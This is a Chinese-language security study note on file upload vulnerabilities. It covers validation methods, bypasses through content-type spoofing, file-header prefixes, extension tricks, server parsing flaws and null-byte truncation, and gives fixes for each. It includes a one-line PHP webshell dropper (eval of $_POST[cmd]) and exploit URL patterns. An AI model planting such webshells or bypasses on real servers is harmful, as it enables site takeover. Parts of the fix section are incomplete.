第三週任務，利用文件上傳漏洞

0x00 前言

本週主要學習了文件上傳各種姿勢，掌握了常見的黑白名單後綴繞過、文件內容檢查繞過的原理、實現及簡單防護。

0X01 文件上傳校驗姿勢

o 客戶端javascript校驗（一般只校驗後綴名）
o 服務端校驗
o 文件頭content-type字段校驗（image/gif）
o 文件內容頭校驗（GIF89a）
o 後綴名黑名單校驗
o 後綴名白名單校驗
o 自定義正則校驗

1.1 客戶端校驗

一般都是在網頁上寫一段javascript腳本，校驗上傳文件的後綴名，有白名單形式也有黑名單形式。
　　判斷方式：在瀏覽加載文件，但還未點擊上傳按鈕時便彈出對話框，內容如：只允許上傳.jpg/.jpeg/.png後綴名的文件，而此時並沒有發送數據包。

1.2 服務端校驗

1.2.1 content-type字段校驗

這裏以PHP代碼爲例，模擬web服務器端的校驗代碼

<?php
        if($_FILES['userfile']['type'] != "image/gif")  #這裏對上傳的文件類型進行判斷，如果不是image/gif類型便返回錯誤。
                {   
                 echo "Sorry, we only allow uploading GIF images";
                 exit;
                 }
         $uploaddir = 'uploads/';
         $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
         if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))
             {
                 echo "File is valid, and was successfully uploaded.\n";
                } else {
                     echo "File uploading failed.\n";
    }
     ?>

可以看到代碼對上傳文件的文件類型進行了判斷，如果不是圖片類型，返回錯誤。

1.2.2 文件頭校驗

可以通過自己寫正則匹配，判斷文件頭內容是否符合要求，這裏舉幾個常見的文件頭對應關係：
（1） .JPEG;.JPE;.JPG， “JPGGraphic File”
（2） .gif，“GIF 89A”
（3） .zip， “Zip Compressed”
（4）.doc;.xls;.xlt;.ppt;.apr，“MS Compound Document v1 or Lotus Approach APRfile”

0x02 文件上傳繞過校驗姿勢

o 客戶端繞過（抓包改包）
o 服務端繞過
o 文件類型
o 文件頭
o 文件後綴名
o 配合文件包含漏洞繞過
o 配合服務器解析漏洞繞過
o CMS、編輯器漏洞繞過
o 配合操作系統文件命名規則繞過
o 配合其他規則繞過
o WAF繞過

2.1 客戶端繞過

可以利用burp抓包改包，先上傳一個gif類型的木馬，然後通過burp將其改爲asp/php/jsp後綴名即可。

2.2 服務端繞過

2.2.1 文件類型繞過

我們可以通過抓包，將content-type字段改爲image/jpeg

2.2.2 文件頭繞過

在木馬內容基礎上再加了一些文件信息，有點像下面的結構
GIF89a<?php phpinfo(); ?>

2.2.3 文件後綴名繞過

前提：黑名單校驗
黑名單檢測：一般有個專門的 blacklist 文件，裏面會包含常見的危險腳本文件。
繞過方法：
（1）找黑名單擴展名的漏網之魚 - 比如 asa 和 cer 之類
（2）可能存在大小寫繞過漏洞 - 比如 aSp 和 pHp 之類
能被解析的文件擴展名列表：
jsp jspx jspf
asp asa cer aspx
php php php3 php4
exe exee

0x03 配合文件包含漏洞

前提：校驗規則只校驗當文件後綴名爲asp/php/jsp的文件內容是否爲木馬。

繞過方式：（這裏拿php爲例，此漏洞主要存在於PHP中）

（1）先上傳一個內容爲木馬的txt後綴文件，因爲後綴名的關係沒有檢驗內容；
（2）然後再上傳一個.php的文件，內容爲<?php Include(“上傳的txt文件路徑”);?>
此時，這個php文件就會去引用txt文件的內容，從而繞過校驗，下面列舉包含的語法：
#PHP

<?php Include("上傳的txt文件路徑");?> 

#ASP

<!--#include file="上傳的txt文件路徑" -->

#JSP

<jsp:inclde page="上傳的txt文件路徑"/>

or

<%@include file="上傳的txt文件路徑"%>

由於文件包含漏洞還未完全掌握，此處不贅述。

0x04 配合服務器解析漏洞

4.1 IIS5.x-6.x解析漏洞

使用iis5.x-6.x版本的服務器，大多爲windows server 2003，網站比較古老，開發語句一般爲asp；該解析漏洞也只能解析asp文件，而不能解析aspx文件。

目錄解析(6.0)

形式：www.xxx.com/xx.asp/xx.jpg
原理: 服務器默認會把.asp，.asa目錄下的文件都解析成asp文件。

文件解析

形式：www.xxx.com/xx.asp;.jpg
原理：服務器默認不解析;號後面的內容，因此xx.asp;.jpg便被解析成asp文件了。

解析文件類型

IIS6.0 默認的可執行文件除了asp還包含這三種 :
/test.asa
/test.cer
/test.cdx

修復方案

1.目前尚無微軟官方的補丁，可以通過自己編寫正則，阻止上傳xx.asp;.jpg類型的文件名。
2.做好權限設置，限制用戶創建文件夾。

4.2 apache解析漏洞

漏洞原理

Apache 解析文件的規則是從右到左開始判斷解析,如果後綴名爲不可識別文件解析,就再往左判斷。比如 test.php.owf.rar中 “.owf”、”.rar” 這兩種後綴是apache不可識別解析,apache就會把shana.php.owf.rar解析成php。

漏洞形式

www.xxxx.xxx.com/test.php.php123

其餘配置問題導致漏洞

（1）如果在 Apache 的 conf 裏有這樣一行配置 AddHandler php5-script .php 這時只要文件名裏包含.php 即使文件名是 test2.php.jpg 也會以 php 來執行。
（2）如果在 Apache 的 conf 裏有這樣一行配置 AddType application/x-httpd-php .jpg 即使擴展名是 jpg，一樣能以 php 方式執行。

修復方案

<Files ~ “.(php.|php3.)”>
        Order Allow,Deny
        Deny from all
</Files>

2.用僞靜態能解決這個問題，重寫類似.php.*這類文件，打開apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
把#號去掉，重啓apache,在網站根目錄下建立.htaccess文件,代碼如下:

4.3 nginx解析漏洞

漏洞原理

Nginx默認是以CGI的方式支持PHP解析的，普遍的做法是在Nginx配置文件中通過正則匹配設置SCRIPT_FILENAME。當訪問www.xx.com/phpinfo.jpg/1.php這個URL時，$fastcgi_script_name會被設置爲“phpinfo.jpg/1.php”，然後構造成SCRIPT_FILENAME傳遞給PHP CGI，但是PHP爲什麼會接受這樣的參數，並將phpinfo.jpg作爲PHP文件解析呢?這就要說到fix_pathinfo這個選項了。 如果開啓了這個選項，那麼就會觸發在PHP中的如下邏輯：
PHP會認爲SCRIPT_FILENAME是phpinfo.jpg，而1.php是PATH_INFO，所以就會將phpinfo.jpg作爲PHP文件來解析了

漏洞形式

www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

方式二：上傳一個名字爲test.jpg，以下內容的文件。

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然後訪問test.jpg/.php,在這個目錄下就會生成一句話木馬shell.php。
修復方案

1. 修改php.ini文件，將cgi.fix_pathinfo的值設置爲0;
2. 在Nginx配置文件中添加以下代碼：

if ( $fastcgi_script_name ~ ..*/.*php ) {
　　return 403;
　　}

這行代碼的意思是當匹配到類似test.jpg/a.php的URL時，將返回403錯誤代碼。

4.4 IIS7.5解析漏洞

IIS7.5的漏洞與nginx的類似，都是由於php配置文件中，開啓了cgi.fix_pathinfo，而這並不是nginx或者iis7.5本身的漏洞。

0x05 配合操作系統文件命令規則

5.1上傳不符合windows文件命名規則的文件名

test.asp.
　　test.asp(空格)
　　test.php:1.jpg
　　test.php::$DATA 　　shell.php::$DATA…….
會被windows系統自動去掉不符合規則符號後面的內容。

5.2 linux下後綴名大小寫

在linux下，如果上傳php不被解析，可以試試上傳pHp後綴的文件名。

0x06 配合其他規則

0x00截斷

基於一個組合邏輯漏洞造成的，通常存在於構造上傳文件路徑的時候
　test.php(0x00).jpg
　test.php%00.jpg
路徑/upload/1.php(0x00)，文件名1.jpg，結合/upload/1.php(0x00)/1.jpg
代碼演示：

name= getname(httprequest) //假如這時候獲取到的文件名是 help.asp.jpg(asp 後面爲 0x00)
type =gettype(name)        //而在 gettype()函數裏處理方式是從後往前掃描擴展名，所以判斷爲 jpg
if(type == jpg)
   SaveFileToPath(UploadPath.name, name)   //但在這裏卻是以 0x00 作爲文件名截斷
//最後以 help.asp 存入路徑裏

0x07 還有很多繞WAF的騷姿勢不會

僅針對文件上傳校驗的建議（不考慮解析漏洞）
o 文件擴展名服務端白名單校驗。
o 文件內容服務端校驗。
o 上傳文件重命名。
o 隱藏上傳文件路徑。
沒有絕對的安全，只有更騷的操作…